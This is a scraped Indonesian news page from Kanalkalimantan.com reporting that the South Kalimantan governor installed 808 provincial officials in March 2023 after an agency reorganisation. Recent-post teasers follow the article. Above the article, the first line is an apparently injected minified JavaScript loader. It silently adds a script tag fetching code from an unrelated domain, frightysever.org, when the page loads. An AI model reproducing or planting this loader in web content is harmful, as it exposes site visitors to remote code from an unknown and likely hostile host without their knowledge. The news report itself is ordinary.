(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Rombak Besar-besaran ASN Pemprov, Gubernur Kalsel Melantik 808 Pejabat


KANALKALIMANTAN.COM, BANJARBARU – Rombak besar-besaran ASN Pemprov Kalsel terjadi, tukar posisi jabatan mutasi dan promosi dilakukan Gubernur Kalsel.

Gubernur Kalsel H Sahbirin Noor melantik ratusan pejabat tinggi pratama di lingkungan Pemprov Kalsel, Rabu (15/3/2023).

Sedikitnya 40 pejabat tinggi pratama eselon II, 206 pejabat eselon III dan 562 pejabat eselon IV yang dikukuhkan dan dilantik di gedung Idham Chalid. Total abdi negara yang dilantik sebanyak 808 orang dari Eselon II hingga Eselon IV.

“Semoga melalui pelantikan dan pengukuhan ini membawa kemajuan dalam organisasi, sekaligus berdampak terhadap kesejahteraan masyarakat,” harap Sahbirin Noor.

 

Baca juga: Buka Rakor Inovasi Daerah, Ini Harapan Kepala Bappedalitbang Kabupaten Banjar

Gubernur yang biasa disapa Paman Birin ini menekankan arti penting sinergisitas dan kolaborasi untuk menyatukan pemikiran-pemikiran yang berbeda, baik antarindividu maupun satuan perangkat kerja.

“Juga jangan lupa bahwa jabatan hanya titipan yang harus dipertanggungjawabkan,” tegas Paman Birin.

Gubernur Kalsel H Sahbirin Noor melantik ratusan pejabat tinggi pratama di lingkungan Pemprov Kalsel, Rabu (15/3/2023). Foto: prokopim

Sementara itu, Kepala BKD Provinsi Kalsel Dinansyah mengatakan, pelantikan pejabat ini perlu dikarenakan pihaknya ingin menyesuaikan dengan Perda terbaru terkait nomenklatur jabatan dan Organisasi Perangkat Daerah (OPD).

“Kami ingin menerapkan Perda baru, yang mana terjadi perubahan nomenklatur organisasi perangkat daerah,” ujarnya.

Baca juga: Setda dan Kejari Kapuas Jalin Kerjasama Pengelolaan Aset Daerah

Ada OPD yang dipisah dan ada yang digabung ke OPD lain, seperti Dinas Ketahanan Pangan digabung dengan Dinas Tanaman Pangan dan Hortikultura.

Disebutkan Dinansyah, salah satu ODP ada juga yang dipecah, dikarenakan tugas dan tanggung jawabnya. Seperti Badan Keuangan dipecah menjadi Badan Pendapatan atau Bappenda dan BPKAD.

“Ini untuk mengurangi beban kerja, mengefektifkan kinerjanya,” sebut Kepalda BKD Kalsel.

Dari ratusan pejabat yang dilantik dan dikukuhkan, di antaranya Nurul Fajar Desira (Asisten Bidang Kesra), Subhan Nur Yaumil (Kepala Badan Keuangan) dan Ahmad Solhan (Kepala Dinas PUPR). (Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

7 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

8 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.